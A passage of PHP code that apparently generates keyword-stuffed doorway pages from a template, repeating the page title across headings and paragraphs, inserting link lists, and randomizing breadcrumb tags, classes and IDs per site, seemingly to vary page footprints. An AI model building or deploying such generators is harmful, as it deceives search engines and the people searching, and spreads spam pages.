    $tp_title_arr = explode('#cat#', $Ptitle);
    $Ptitle = $tp_title_arr[1];
}
$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
$nowMateAddStr = $InFoStrArr['nowMateAddStr'];
$nowMateAddArr = unserialize($nowMateAddStr);
$falgMateDes = 0;
if (strstr($pcatstr, '#cname#')) {
    $temparrI = explode('#cname#', $pcatstr);
    $catStr = $temparrI[0];
    $catArr = explode('^', $catStr);
    $tparrCat = array();
    $catArrII = array();
    foreach ($catArr as $vs) {
        $vs = str_replace('&amp;', '&', $vs);
        if (!isset($tparrCat[$vs])) {
            $tparrCat[$vs] = 1;
            $catArrII[] = $vs;
        }
    }
    $catArr = $catArrII;
    $mateStr = $temparrI[1];
    if (strstr($mateStr, '#keydescription#')) {
        $temparrII = explode('#keydescription#', $mateStr);
        $pkeyword = trim($temparrII[0]);
        if (!$pkeyword) {
            $pkeyword = $Ptitle;
        } else {
            $keyArr = explode(',', $pkeyword);
            $num = count($keyArr);
            $yushu = KEYJG % $num;
            $arrPre = array();
            $arrLast = array();
            for ($i = 0; $i < $num; $i++) {
                if ($i < $yushu) {
                    $arrLast[] = $keyArr[$i];
                } else {
                    $arrPre[] = $keyArr[$i];
                }
            }
            if (count($arrLast)) {
                foreach ($arrLast as $vs) {
                    $arrPre[] = $vs;
                }
            }
            $pkeyword = implode(',', $arrPre);
            $pkeywordYuanShi = $pkeyword;
        }
        $pdescription = trim($temparrII[1]);
        if (!$pdescription) {
            $falgMateDes = 1;
        } else {
            $DesArr = explode(',', $pdescription);
            $num = count($DesArr);
            $yushu = KEYJG % $num;
            $arrPre = array();
            $arrLast = array();
            for ($i = 0; $i < $num; $i++) {
                if ($i < $yushu) {
                    $arrLast[] = $DesArr[$i];
                } else {
                    $arrPre[] = $DesArr[$i];
                }
            }
            if (count($arrLast)) {
                foreach ($arrLast as $vs) {
                    $arrPre[] = $vs;
                }
            }
            if (count($nowMateAddArr)) {
                foreach ($nowMateAddArr as $vs) {
                    $arrPre[] = $vs;
                }
            }
            $pdescription = implode(',', $arrPre);
            $pDescriptionYuanShi = $pdescription;
        }
    } else {
        $pkeyword = $Ptitle;
        $falgMateDes = 1;
    }
} else {
    $catArr = array();
    if (strstr($mateStr, '#keydescription#')) {
        $temparrII = explode('#keydescription#', $mateStr);
        $pkeyword = $temparrII[0];
        if (!$pkeyword) {
            $pkeyword = $Ptitle;
        } else {
            $keyArr = explode(',', $pkeyword);
            $num = count($keyArr);
            $yushu = KEYJG % $num;
            $arrPre = array();
            $arrLast = array();
            for ($i = 0; $i < $num; $i++) {
                if ($i < $yushu) {
                    $arrLast[] = $keyArr[$i];
                } else {
                    $arrPre[] = $keyArr[$i];
                }
            }
            if (count($arrLast)) {
                foreach ($arrLast as $vs) {
                    $arrPre[] = $vs;
                }
            }
            $pkeyword = implode(',', $arrPre);
            $pkeywordYuanShi = $pkeyword;
        }
        $pdescription = trim($temparrII[1]);
        if (!$pdescription) {
            $falgMateDes = 1;
        } else {
            $DesArr = explode(',', $pdescription);
            $num = count($DesArr);
            $yushu = KEYJG % $num;
            $arrPre = array();
            $arrLast = array();
            for ($i = 0; $i < $num; $i++) {
                if ($i < $yushu) {
                    $arrLast[] = $DesArr[$i];
                } else {
                    $arrPre[] = $DesArr[$i];
                }
            }
            if (count($arrLast)) {
                foreach ($arrLast as $vs) {
                    $arrPre[] = $vs;
                }
            }
            if (count($nowMateAddArr)) {
                foreach ($nowMateAddArr as $vs) {
                    $arrPre[] = $vs;
                }
            }
            $pdescription = implode(',', $arrPre);
            $pDescriptionYuanShi = $pdescription;
        }
    } else {
        $pkeyword = $Ptitle;
        $falgMateDes = 1;
    }
}
if ($falgMateDes) {
    $desPosition = (KEYJG + $id23) % 6;
    if ($desPosition == 0) {
        $pdescription = $Ptitle . ' ' . $nowMateAddArr[0] . ' ' . $nowMateAddArr[1];
    } elseif ($desPosition == 1) {
        $pdescription = $nowMateAddArr[1] . ' ' . $Ptitle . ' ' . $nowMateAddArr[0];
    } elseif ($desPosition == 2) {
        $pdescription = $Ptitle . ' ' . $nowMateAddArr[0] . ' ' . $nowMateAddArr[1];
    } elseif ($desPosition == 3) {
        $pdescription = $nowMateAddArr[1] . ' ' . $nowMateAddArr[0] . ' ' . $Ptitle;
    } elseif ($desPosition == 4) {
        $pdescription = $nowMateAddArr[0] . ' ' . $Ptitle . ' ' . $nowMateAddArr[1];
    } elseif ($desPosition == 5) {
        $pdescription = $nowMateAddArr[0] . ' ' . $nowMateAddArr[1] . ' ' . $Ptitle;
    }
}
$tpKeyStrCat = -1;
$BreadStr = getBreadcrum($Ptitle, $catArr, $id23, $PtitleNowid);
if (count($catArr)) {
    $endCatName = end($catArr);
    $beginCatName = $catArr[0];
    $addKeyWordStr = ', ' . implode(', ', $catArr);
} else {
    $beginCatName = '';
    $endCatName = '';
}
if (function_exists("preg_split")) {
    $PtitleArr = preg_split('/\\s+/us', $Ptitle);
} else {
    $PtitleArr = explode(' ', $Ptitle);
}
$tpTitleArr = array();
foreach ($PtitleArr as $vs) {
    $vs = trim($vs);
    if ($vs) {
        $tpTitleArr[] = $vs;
    }
}
$numTitleArr = count($tpTitleArr);
$randTkeyI = RANDNUMI % $numTitleArr;
$createTitleI = getRandStrArr($tpTitleArr, $randTkeyI);
$randTkeyII = RANDNUMII % $numTitleArr;
if ($randTkeyI == $randTkeyII) {
    $randTkeyII = abs($randTkeyI - 2);
}
$createTitleII = getRandStrArr($tpTitleArr, $randTkeyII);
$arrTopStrs = array();
$arrTopStrs[] = $createTitleI;
$arrTopStrs[] = $pdescription;
$arrTopStrs[] = $createTitleII;
$arrTopStrs[] = '###nowtitles###';
$fistKey = ($id23 + RANDNUMI) % count($arrTopStrs);
$secondKey = $id23 * RANDNUMII % count($arrTopStrs);
if ($fistKey == $secondKey) {
    $secondKey = ($fistKey + 1) % count($arrTopStrs);
}
$keyRandThree = ($id23 + KEYJG) % 2;
foreach ($arrTopStrs as $key => $vs) {
    if ($key != $fistKey && $key != $secondKey) {
        if ($keyRandThree == 0) {
            if (!isset($threeKey)) {
                $threeKey = $key;
            } else {
                $fourKey = $key;
            }
        } else {
            if (!isset($fourKey)) {
                $fourKey = $key;
            } else {
                $threeKey = $key;
            }
        }
    }
}
$headAddStr = '<p>' . $arrTopStrs[$fistKey] . ', ' . $arrTopStrs[$secondKey] . ', ' . $arrTopStrs[$threeKey] . ', ' . $arrTopStrs[$fourKey] . '.</p>' . PHP_EOL;
$tempKeyArr = array();
$tempKeyArr[$randTkeyI] = 1;
$tempKeyArr[$randTkeyII] = 1;
$keyJg = ($id23 + KEYJG) % 3 + 1;
$bgKeyNs = ($id23 + KEYJG) % $numTitleArr;
for ($i = 0; $i < 20; $i++) {
    if (!isset($tempKeyArr[$bgKeyNs]) && !isset($randTkeyIII)) {
        $randTkeyIII = $bgKeyNs;
        $tempKeyArr[$randTkeyIII] = 1;
    } elseif (!isset($tempKeyArr[$bgKeyNs])) {
        $randTkeyIIII = $bgKeyNs;
        $tempKeyArr[$randTkeyIIII] = 1;
        break;
    }
    $bgKeyNs = ($bgKeyNs + $keyJg) % $numTitleArr;
}
if (!isset($randTkeyIII)) {
    $randTkeyIII = $randTkeyI;
}
if (!isset($randTkeyIIII)) {
    $randTkeyIIII = $randTkeyII;
}
$createTitleIII = getRandStrArr($tpTitleArr, $randTkeyIII);
$createTitleIIII = getRandStrArr($tpTitleArr, $randTkeyIIII);
$arrLastStrs = array();
$arrLastStrs[] = $createTitleIII;
$arrLastStrs[] = $createTitleIIII;
$arrLastStrs[] = '###nowtitles###';
$fistKey = ($id23 + RANDNUMI) % count($arrLastStrs);
$secondKey = $id23 * RANDNUMII % count($arrLastStrs);
if ($fistKey == $secondKey) {
    $secondKey = ($fistKey + 1) % count($arrLastStrs);
}
foreach ($arrLastStrs as $key => $vs) {
    if ($key != $fistKey && $key != $secondKey) {
        $threeKey = $key;
    }
}
$footAddStrII = '<p>' . $arrLastStrs[$fistKey] . ', ' . $arrLastStrs[$secondKey] . ', ' . $arrLastStrs[$threeKey] . '.</p>' . PHP_EOL;
$addTopStr = '';
$addTopStr .= $headAddStr;
$addTopStr .= "<h1>{$Ptitle}</h1>" . PHP_EOL;
$addTopStr .= $BreadStr . PHP_EOL;
$addStrII = '';
if (isset($InFoStrArr['nowPimgArr'])) {
    $tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
    foreach ($tpImgArr as $tpimg) {
        $addStrII .= $tpimg . "<br/>" . PHP_EOL;
    }
}
if (isset($InFoStrArr['pdes'])) {
    $InFoStrArr['pdes'] = preg_replace('#\\s+#si', ' ', $InFoStrArr['pdes']);
    $addStrII .= '<p>' . $InFoStrArr['pdes'] . "</p>" . PHP_EOL;
}
$addTopStr .= $addStrII;
$tpaddstr = '';
$tpaddstr .= "<h2>{$Ptitle}</h2>" . PHP_EOL;
if (isset($InFoStrArr['nowPimgArrYs'])) {
    $tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']);
    foreach ($tpImgArr as $tpimg) {
        $tpaddstr .= $tpimg . "<br/>" . PHP_EOL;
    }
}
$arrFlinks = array();
$fr1Strs = '<ul>' . PHP_EOL;
foreach ($fr1Arr as $key => $vs) {
    $tpPid = $key;
    $tpFlink = getalink($tpPid, $vs);
    if (strstr($vs, '#cat#')) {
        $tp_name_arr = explode('#cat#', $vs);
        $vs = $tp_name_arr[1];
    }
    $fr1Strs .= '<li><a title="' . $vs . '" href="' . $tpFlink . '">' . $vs . '</a></li>' . PHP_EOL;
    $arrFlinks[] = '<a title="' . $vs . '" href="' . $tpFlink . '">' . $vs . '</a>';
}
$fr1Strs .= '</ul>' . PHP_EOL;
if (isset($fr2Arr)) {
    $fr2Strs = '<ul>' . PHP_EOL;
    foreach ($fr2Arr as $key => $vs) {
        $tpPid = $key;
        $tpFlink = getalink($tpPid, $vs);
        if (strstr($vs, '#cat#')) {
            $tp_name_arr = explode('#cat#', $vs);
            $vs = $tp_name_arr[1];
        }
        $fr2Strs .= '<li><a title="' . $vs . '" href="' . $tpFlink . '">' . $vs . '</a></li>' . PHP_EOL;
    }
    $fr2Strs .= '</ul>' . PHP_EOL;
}
$addPdesStrII = '';
$addPdesStrII .= "<h2>{$Ptitle}</h2>" . PHP_EOL;
$addPdesStrII .= $fr1Strs . PHP_EOL;
$addStrDes1 = '';
if (isset($InFoStrArr['nowDesNameArrStr'])) {
    $Random = (KEYJG + $id23) % 3 + 3;
    $tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
    $lenthNameArr = count($tpDesNameArr);
    $lenthFlinkArr = $Random;
    $numShan = intval($lenthNameArr / $lenthFlinkArr);
    if ($numShan < 1) {
        $numShan = 1;
    }
    $flag = 0;
    $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
    $shengyu = $shengyu - 2;
    $bgnum = 0;
    $endnum = $lenthNameArr - 1;
    $arrKeyNum = array();
    while ($shengyu > 0) {
        $arrKeyNum[$bgnum++] = $numShan + 1;
        $shengyu--;
        if ($shengyu > 0) {
            $arrKeyNum[$endnum--] = $numShan + 1;
        }
        $shengyu--;
    }
    $nowTempFlag = 0;
    $nowTempNumFlag = 0;
    $tempDesNameArr = array();
    foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) {
        $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
        if ($nowTempNumFlag < $nowLens) {
            $tempDesNameArr[] = $tpdesVs;
            $nowTempNumFlag++;
        } else {
            $tempDesNameArr[] = "<b>{$Ptitle}</b>";
            $nowTempFlag++;
            $tempDesNameArr[] = $tpdesVs;
            $nowTempNumFlag = 1;
        }
    }
    while ($nowTempFlag <= $lenthFlinkArr - 1) {
        $nowTempFlag++;
        $tempDesNameArr[] = "<b>{$Ptitle}</b>";
    }
    $tpDesNameArr = $tempDesNameArr;
    $tempArrLen = count($tpDesNameArr) - 1;
    $i = 0;
    foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) {
        $tempLen = strlen($tpdesVs) + $i;
        if ($tempLen % 2 == 1) {
            $nowtempfh = ', ';
        } else {
            $nowtempfh = '. ';
        }
        if ($i == $tempArrLen) {
            $addStrDes1 .= $tpdesVs . '.';
        } else {
            $addStrDes1 .= $tpdesVs . $nowtempfh;
        }
        $i++;
    }
    $addStrDes1 = '<p>' . $addStrDes1 . '</p>' . PHP_EOL;
}
$addPdesStr = '';
$addStrDesII = '';
if (isset($InFoStrArr['fpNameStr'])) {
    $Random = (KEYJG + $id23) % 2 == 0 ? 3 : 2;
    $tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
    $tempArrLen = count($tpDesNameArr) - 1;
    $temp_arr = array();
    foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) {
        if (strstr($tpdesVs, '#cat#')) {
            $tp_name_arr = explode('#cat#', $tpdesVs);
            $tpdesVs = $tp_name_arr[1];
        }
        $temp_arr[$tpdesKey] = $tpdesVs;
    }
    $tpDesNameArr = $temp_arr;
    $lenthNameArr = count($tpDesNameArr);
    $lenthFlinkArr = $Random;
    $numShan = intval($lenthNameArr / $lenthFlinkArr);
    if ($numShan < 1) {
        $numShan = 1;
    }
    $flag = 0;
    $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
    $shengyu = $shengyu - 2;
    $bgnum = 0;
    $endnum = $lenthNameArr - 1;
    $arrKeyNum = array();
    while ($shengyu > 0) {
        $arrKeyNum[$bgnum++] = $numShan + 1;
        $shengyu--;
        if ($shengyu > 0) {
            $arrKeyNum[$endnum--] = $numShan + 1;
        }
        $shengyu--;
    }
    $nowTempFlag = 0;
    $nowTempNumFlag = 0;
    $tempDesNameArr = array();
    foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) {
        $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
        if ($nowTempNumFlag < $nowLens) {
            $tempDesNameArr[] = $tpdesVs;
            $nowTempNumFlag++;
        } else {
            $tempDesNameArr[] = "<b>{$Ptitle}</b>";
            $nowTempFlag++;
            $tempDesNameArr[] = $tpdesVs;
            $nowTempNumFlag = 1;
        }
    }
    while ($nowTempFlag <= $lenthFlinkArr - 1) {
        $nowTempFlag++;
        $tempDesNameArr[] = "<b>{$Ptitle}</b>";
    }
    $tpDesNameArr = $tempDesNameArr;
    $i = 0;
    foreach ($tpDesNameArr as $tpdesKey => $tpdesVs) {
        $tempLen = strlen($tpdesVs) + $i;
        if ($tempLen % 2 == 1) {
            $nowtempfh = ', ';
        } else {
            $nowtempfh = '. ';
        }
        if ($i == $tempArrLen) {
            $addStrDesII .= $tpdesVs . '.';
        } else {
            $addStrDesII .= $tpdesVs . $nowtempfh;
        }
        $i++;
    }
    $addStrDesII = '<p>' . $addStrDesII . '</p>' . PHP_EOL;
}
$tpaddstr = $tpaddstr . PHP_EOL . $addStrDesII . "<br/>";
$addPdesStr .= "<h3>{$Ptitle}</h3>" . PHP_EOL;
$addPdesStr .= $addStrDes1 . PHP_EOL;
$addH3Str = "<h3>{$Ptitle}</h3>";
$thisPnameLink = '<a href="">' . $nowIdName . '</a>';
$thisPnameLink2 = '<a title="' . $nowIdName . '" href="">' . $nowIdName . '</a>';
$thisTitleLink = '<a title="' . $Ptitle . '" href="">' . $Ptitle . '</a>';
$flagH2I = 1;
$flagH2II = 1;
$flagH2III = 1;
$fileMb = fopen("template.html", "r");
$html = fread($fileMb, filesize("template.html"));
$numBz = 0;
$titleKeys = KEYJG % 6;
$catUseKey = (KEYJG + $id23) % count($catArr);
$catUseKeyTwo = (KEYJG + 1) * $id23 % count($catArr);
if ($catUseKey == $catUseKeyTwo) {
    $catUseKeyTwo = ($catUseKeyTwo + 1) % count($catArr);
}
$flagCatThree = 0;
if (count($catArr) >= 3) {
    foreach ($catArr as $key => $vs) {
        if ($key != $catUseKey && $key != $catUseKeyTwo) {
            $catUseKeyThree = $key;
        }
    }
    $catPos = (KEYJG + $id23) % 2;
    if ($catPos) {
        $catStr = $catArr[$catUseKeyTwo] . ' ' . $catArr[$catUseKeyThree];
    } else {
        $catStr = $catArr[$catUseKeyThree] . ' ' . $catArr[$catUseKeyTwo];
    }
} else {
    $catStr = $catArr[$catUseKeyTwo];
}
$catPreStr = $catArr[$catUseKey];
if (preg_match('#.*\\.(.*)\\..*#i', $thisdom)) {
    $usdomStr = preg_replace('#.*\\.(.*)\\..*#i', '\\1', $thisdom);
} else {
    $usdomStr = preg_replace('#(.*)\\..*#i', '\\1', $thisdom);
}
$titlePosition = (KEYJG + $id23) % 6;
if ($titlePosition == 0) {
    $nowShowTitle = $Ptitle . ' ' . $catStr . ' ' . $catPreStr;
} elseif ($titlePosition == 1) {
    $nowShowTitle = $catPreStr . ' ' . $Ptitle . ' ' . $catStr;
} elseif ($titlePosition == 2) {
    $nowShowTitle = $Ptitle . ' ' . $catStr . ' ' . $catPreStr;
} elseif ($titlePosition == 3) {
    $nowShowTitle = $catPreStr . ' ' . $catStr . ' ' . $Ptitle;
} elseif ($titlePosition == 4) {
    $nowShowTitle = $catStr . ' ' . $Ptitle . ' ' . $catPreStr;
} elseif ($titlePosition == 5) {
    $nowShowTitle = $catStr . ' ' . $catPreStr . ' ' . $Ptitle;
} else {
    $nowShowTitle = $Ptitle;
}
$pdescription = trim($pdescription);
$addTopStr = str_replace('###nowtitles###', $Ptitle, $addTopStr);
$tpaddstr = str_replace('###nowtitles###', $Ptitle, $tpaddstr);
$footAddStrII = str_replace('###nowtitles###', $Ptitle, $footAddStrII);
$html = str_ireplace('draft_or_post_title', $nowShowTitle, $html);
$html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);
$html = str_ireplace('#bbbdesbbb#', $pdescription, $html);
$html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html);
if (strstr($html, '#link3#')) {
    if ($flagH2I) {
        $html = str_replace('#link3#', $addPdesStrII, $html);
        $flagH2I = 0;
    } else {
        $html = str_replace('#link3#', '', $html);
    }
}
if (strstr($html, '#flink#')) {
    if ($flagH2I) {
        $html = str_replace('#flink#', $addPdesStrII, $html);
        $flagH2I = 0;
    } elseif ($flagH2II) {
        $html = str_replace('#flink#', $addPdesStr, $html);
        $flagH2II = 0;
    } else {
        $html = str_replace('#flink#', '', $html);
    }
}
if (strstr($html, '#link4#')) {
    if ($flagH2I) {
        $html = str_replace('#link4#', $addPdesStrII, $html);
        $flagH2I = 0;
    } elseif ($flagH2II) {
        $html = str_replace('#link4#', $addPdesStr, $html);
        $flagH2II = 0;
    } elseif ($flagH2III) {
        $html = str_replace('#link4#', '', $html);
        $flagH2III = 0;
    } else {
        $html = str_replace('#link4#', '', $html);
    }
}
if (strstr($html, '#link5#')) {
    if ($flagH2I) {
        $html = str_replace('#link5#', $addPdesStrII, $html);
        $flagH2I = 0;
    } elseif ($flagH2II) {
        $html = str_replace('#link5#', $addPdesStr, $html);
        $flagH2II = 0;
    } elseif ($flagH2III) {
        $html = str_replace('#link5#', '', $html);
        $flagH2III = 0;
    } else {
        $html = str_replace('#link5#', '', $html);
    }
}
if (strstr($html, '#Flink2#')) {
    if ($flagH2I) {
        $html = str_replace('#Flink2#', $addPdesStrII, $html);
        $flagH2I = 0;
    } elseif ($flagH2II) {
        $html = str_replace('#Flink2#', $addPdesStr, $html);
        $flagH2II = 0;
    } elseif ($flagH2III) {
        $html = str_replace('#Flink2#', '', $html);
        $flagH2III = 0;
    } else {
        $html = str_replace('#Flink2#', '', $html);
    }
}
$lastAddStrs = '';
if ($flagH2I) {
    $lastAddStrs .= $addPdesStrII . PHP_EOL;
}
if ($flagH2II) {
    $lastAddStrs .= $addPdesStr . PHP_EOL;
}
if ($lastAddStrs) {
    $tpaddstr = $tpaddstr . PHP_EOL . $lastAddStrs;
}
$html = str_ireplace('#bbb2content2bbb#', '', $html);
$html = str_ireplace('#descontent#', $tpaddstr, $html);
$html = str_replace('#link1#', '', $html);
$html = str_replace('#link2#', '', $html);
$footKey = "<h3>{$Ptitle}</h3>" . PHP_EOL . "{$footAddStrII}" . PHP_EOL;
$html = str_replace('</body', $footKey . '</body', $html);
echo $html;
die;
function getRandStrArr($tpArr = array(), $bgKey = 0)
{
    $returnStr = '';
    $numArr = count($tpArr);
    for ($i = $bgKey + 1; $i < $numArr; $i++) {
        $returnStr .= $tpArr[$i] . ' ';
    }
    for ($i = 0; $i <= $bgKey; $i++) {
        $returnStr .= $tpArr[$i] . ' ';
    }
    return trim($returnStr);
}
function getBreadcrum($Ptitle, $catArr, $id23, $pname)
{
    global $arrBread, $thisdom;
    $breadTagkey = KEYJG % 6;
    if ($breadTagkey == 0) {
        $breadTagHtml1 = 'nav';
        $breadTagHtml2 = 'ul';
    } elseif ($breadTagkey == 1) {
        $breadTagHtml1 = 'nav';
        $breadTagHtml2 = 'ol';
    } elseif ($breadTagkey == 2) {
        $breadTagHtml1 = 'div';
        $breadTagHtml2 = 'ol';
    } elseif ($breadTagkey == 3) {
        $breadTagHtml1 = 'section';
        $breadTagHtml2 = 'ol';
    } elseif ($breadTagkey == 4) {
        $breadTagHtml1 = 'section';
        $breadTagHtml2 = 'ul';
    } else {
        $breadTagHtml1 = 'div';
        $breadTagHtml2 = 'ul';
    }
    $arrBreadNum = count($arrBread);
    $domlen = strlen($thisdom);
    $breadTagkey = $domlen % 5;
    $liClassYs = KEYJG % 19;
    if ($liClassYs == 0) {
        $liStr = ' class="item"';
    } elseif ($liClassYs == 1) {
        $liStr = ' class="breadcrumbs-item"';
    } elseif ($liClassYs == 2) {
        $liStr = ' class="nz-breadcrumb-item"';
    } elseif ($liClassYs == 3) {
        $liStr = ' class="items"';
    } elseif ($liClassYs == 4) {
        $liStr = ' class="breadcrumblist-items"';
    } elseif ($liClassYs == 5) {
        $liStr = ' class="el-breadcrumb-item"';
    } elseif ($liClassYs == 6) {
        $liStr = ' class="doc-crumb-item"';
    } elseif ($liClassYs == 7) {
        $liStr = ' class="breadcrumb-item"';
    } elseif ($liClassYs == 8) {
        $liStr = ' class="crumbs-item"';
    } elseif ($liClassYs == 9) {
        $liStr = ' class="bread-item"';
    } elseif ($liClassYs == 10) {
        $liStr = ' class="breads-item"';
    } elseif ($liClassYs == 11) {
        $liStr = ' class="breadcrumbItem"';
    } elseif ($liClassYs == 12) {
        $liStr = ' class="breadcrumbItems"';
    } elseif ($liClassYs == 13) {
        $liStr = ' class="breadcrumblistitems"';
    } elseif ($liClassYs == 14) {
        $liStr = ' class="BreadcrumbItem"';
    } elseif ($liClassYs == 15) {
        $liStr = ' class="ListItem"';
    } elseif ($liClassYs == 16) {
        $liStr = ' class="crumb-items"';
    } else {
        $liStr = '';
    }
    $arrBreadId = array();
    $arrBreadId[] = 'Bread';
    $arrBreadId[] = 'BreadHead';
    $arrBreadId[] = 'Breadcrumb';
    $arrBreadId[] = 'Breadcrumb-Head';
    $arrBreadId[] = 'Breadcrumb-Heads';
    $arrBreadId[] = 'Breadcrumb-Top';
    $arrBreadId[] = 'BreadcrumbHeads';
    $arrBreadId[] = 'BreadcrumbLists';
    $arrBreadId[] = 'BreadcrumbNavigation';
    $arrBreadId[] = 'BreadcrumbTop';
    $arrBreadId[] = 'BreadcrumbTops';
    $arrBreadId[] = 'MyBreadcrumb';
    $arrBreadId[] = 'ant-breadcrumb';
    $arrBreadId[] = 'bread-List';
    $arrBreadId[] = 'breadtop';
    $arrBreadId[] = 'breadtops';
    $arrBreadId[] = 'breadHead';
    $arrBreadId[] = 'breadHeads';
    $arrBreadId[] = 'breadList';
    $arrBreadId[] = 'breadLists';
    $arrBreadId[] = 'breadcrumb';
    $arrBreadId[] = 'c-breadcrumb';
    $arrBreadId[] = 'crumbList';
    $arrBreadId[] = 'crumb-list';
    $arrBreadId[] = 'crumbs';
    $arrBreadId[] = 'crumbsHead';
    $arrBreadId[] = 'crumbsHeads';
    $arrBreadId[] = 'crumbs-head';
    $arrBreadId[] = 'crumbs-nag';
    $arrBreadId[] = 'crumbsTop';
    $arrBreadId[] = 'crumbsTops';
    $arrBreadId[] = 'crumbs-top';
    $arrBreadId[] = 'cs-breadcrumb';
    $arrBreadId[] = 'customBreadcrumb';
    $arrBreadId[] = 'doc-crumb';
    $arrBreadId[] = 'el-breadcrumb';
    $arrBreadId[] = 'l-breadcrumb';
    $arrBreadId[] = 'navBreadCrumb';
    $arrBreadId[] = 'navBreadCrumbs';
    $arrBreadId[] = 'page-breadcrumbs';
    $arrBreadId[] = 'pages-breadcrumbs';
    $arrBreadId[] = 's-breadcrumb';
    $arrBreadId[] = 'v-breadcrumb';
    $arrBreadId[] = 'chrome-breadcrumbs';
    $keyBreadId = KEYJG % 48;
    if (isset($arrBreadId[$keyBreadId])) {
        $keyBreadIdStr = ' id="' . $arrBreadId[$keyBreadId] . '"';
    } else {
        $keyBreadIdStr = '';
    }
    $strBreads = '';
    if ($breadTagkey == 4) {
        $arrBreadC1 = array();
        $arrBreadC1[] = 'BreadcrumbData';
        $arrBreadC1[] = 'BreadcrumbDatas';
        $arrBreadC1[] = 'BreadcrumbTop';
        $arrBreadC1[] = 'crumbsHead';
        $arrBreadC1[] = 'crumbsTop';
        $arrBreadC1[] = 'crumbsList';
        $arrBreadC1[] = 'crumbs-top';
        $arrBreadC1[] = 'crumbs-list';
        $arrBreadC1[] = 'crumbs-Head';
        $arrBreadC1[] = 'BreadcrumbTag';
        $arrBreadC1[] = 'Breadcrumb-tag';
        $arrBreadC1[] = 'BreadcrumbBody';
        $arrBreadC1[] = 'BreadcrumbBody';
        $arrBreadC1[] = 'Breadcrumb-Top';
        $arrBreadC1[] = 'Breadcrumb-body';
        $arrBreadC1[] = 'BreadcrumbTops';
        $arrBreadC1[] = 'Breadcrumb-Head';
        $arrBreadC1[] = 'Breadcrumb-Heads';
        $arrBreadC1[] = 'Breadcrumb-List';
        $arrBreadC1[] = 'BreadcrumbList';
        $arrBreadC1[] = 'BreadcrumbLists';
        $ckeyI = KEYJG % count($arrBreadC1);
        $classI = $arrBreadC1[$ckeyI];
        $classII = $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
        $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . ' class="' . $classI . '">';
        $strBreads .= '<' . $breadTagHtml2 . ' class="' . $classII . '">';
        $strBreads .= '<li' . $liStr . '><a href="/">Home</a></li>';
        if (count($catArr)) {
            foreach ($catArr as $vs) {
                $vs = trim($vs);
                $nowCatUrl = getCatLink($vs, $id23);
                $strBreads .= '<li' . $liStr . '><a href="' . $nowCatUrl . '">' . $vs . '</a></li>';
            }
        }
        $nowUrl = getalink($id23, $pname);
        $strBreads .= '<li' . $liStr . '><a href="' . $nowUrl . '">' . $Ptitle . '</a></li>';
        $strBreads .= '</' . $breadTagHtml2 . '>';
        $strBreads .= '</' . $breadTagHtml1 . '>';
    } else {
        $calssBreadKey = KEYJG % $arrBreadNum;
        $classTop = $arrBread[$calssBreadKey];
        $classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
        $breadTagkey = $domlen % 2;
        if ($breadTagkey == 0) {
            if ($classTop) {
                $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . ' class="' . $classTop . '">';
            } else {
                $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . '>';
            }
            $strBreads .= '<' . $breadTagHtml2 . ' class="' . $classul . '" itemscope itemtype="http://schema.org/BreadcrumbList">';
            $strBreads .= '<li' . $liStr . ' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
            $flagNum = 2;
            if (count($catArr)) {
                foreach ($catArr as $vs) {
                    $vs = trim($vs);
                    $nowCatUrl = getCatLink($vs, $id23);
                    $strBreads .= '<li' . $liStr . ' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="' . $nowCatUrl . '"><span itemprop="name">' . $vs . '</span></a><meta itemprop="position" content="' . $flagNum . '" /></li>';
                    $flagNum++;
                }
            }
            $nowUrl = getalink($id23, $pname);
            $strBreads .= '<li' . $liStr . ' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a href="' . $nowUrl . '"><span itemprop="name">' . $Ptitle . '</span></a><meta itemprop="position" content="' . $flagNum . '" /></li>';
            $strBreads .= '</' . $breadTagHtml2 . '>';
            $strBreads .= '</' . $breadTagHtml1 . '>';
        } else {
            if ($classTop) {
                $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . ' class="' . $classTop . '">';
            } else {
                $strBreads .= '<' . $breadTagHtml1 . $keyBreadIdStr . '>';
            }
            $strBreads .= '<' . $breadTagHtml2 . ' class="' . $classul . '" itemscope itemtype="http://schema.org/BreadcrumbList">';
            $strBreads .= '<li' . $liStr . ' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
            if (count($catArr)) {
                foreach ($catArr as $vs) {
                    $vs = trim($vs);
                    $nowCatUrl = getCatLink($vs, $id23);
                    $strBreads .= '<li' . $liStr . ' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="' . $nowCatUrl . '" itemprop="url"><span itemprop="title">' . $vs . '</span></a></li>';
                }
            }
            $nowUrl = getalink($id23, $pname);
            $strBreads .= '<li' . $liStr . '><a href="' . $nowUrl . '">' . $Ptitle . '</a></li>';
            $strBreads .= '</' . $breadTagHtml2 . '>';
            $strBreads .= '</' . $breadTagHtml1 . '>';
        }
    }
    return $strBreads;
}
function get_scheme()
{
